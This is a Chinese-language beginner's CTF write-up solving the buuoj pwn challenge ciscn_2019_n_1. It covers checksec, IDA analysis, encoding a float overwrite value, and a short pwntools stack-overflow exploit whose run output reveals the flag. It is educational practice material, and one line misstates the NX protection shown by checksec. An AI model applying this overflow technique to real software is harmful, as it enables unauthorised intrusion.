CTF buuoj pwn-----第4题:ciscn_2019_n_1
前言
记录一下pwn的过程 同第1、2、3题一样,新手学习日记,流水线记录.
打开题目, 连接靶机,下载文件ciscn_2019_n_1
一. checksec ,检测文件的保护机制
bing@bing-virtual-machine:~/pwn$ checksec ciscn_2019_n_1
[*] '/home/bing/pwn/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bing@bing-virtual-machine:~/pwn$
从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE. 猜测为 溢出漏洞.,
二. 静态分析,IDA打开文件
IDA打开文件ciscn_2019_n_1
- 按下shift+f12,打开string window
发现 /cat /flag

双击/cat /flag, 点击command, 点击X, 发现/cat /flag的address在可疑函数func()里

打开后门函数func(),记下函数地址0x400676

按下f5,发现func()函数里面含有system(“cat /flag”)语句,作用就是输出flag的文件信息.

- 解题思路: 想办法触发后门函数func()函数的system(“cat /flag”)语句。
- v1 大小44db ,v2 是一个float类型数4db。
- 覆盖v2前需填入44个任意字符(v2和v1之间的距离为0x30 - 0x4),而后填入11.28125对应的十六进制数,覆盖v2的值。
易得。11.28125对应的十六进制为0x41348000
11.28125 转换为二进制为 1011.01001
11.28125 在计算机内部储存为 0100 0001 0011 0100 1000 0000 0000 0000
即11.28125 ==> 0x41348000
也可以再ida中查看得到:

三. 编写EXP
from pwn import *
sh = remote('node4.buuoj.cn', 28775)
payload = b'a'*44+p64(0x41348000)
sh.sendline(payload)
sh.interactive()
四. 运行EXP, 获取flag
bing@bing-virtual-machine:~/pwn$ python3 ./ciscn_2019_n_1.py
[+] Opening connection to node4.buuoj.cn on port 28775: Done
[*] Switching to interactive mode
Let's guess the number.
flag{64196adb-3ef2-4dd0-a204-af00b9ef477c}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28775
bing@bing-virtual-machine:~/pwn$
flag{64196adb-3ef2-4dd0-a204-af00b9ef477c}
本文记录了一次CTF比赛中的pwn题目解决过程,涉及检查程序保护机制、静态分析、编写EXP及运行EXP来触发系统调用获取flag。通过checksec发现64位程序仅开启栈不可执行保护,分析IDA找到system调用,构造payload覆盖浮点数以执行后门函数,最终成功获取到flag。


4304

被折叠的 条评论
为什么被折叠?



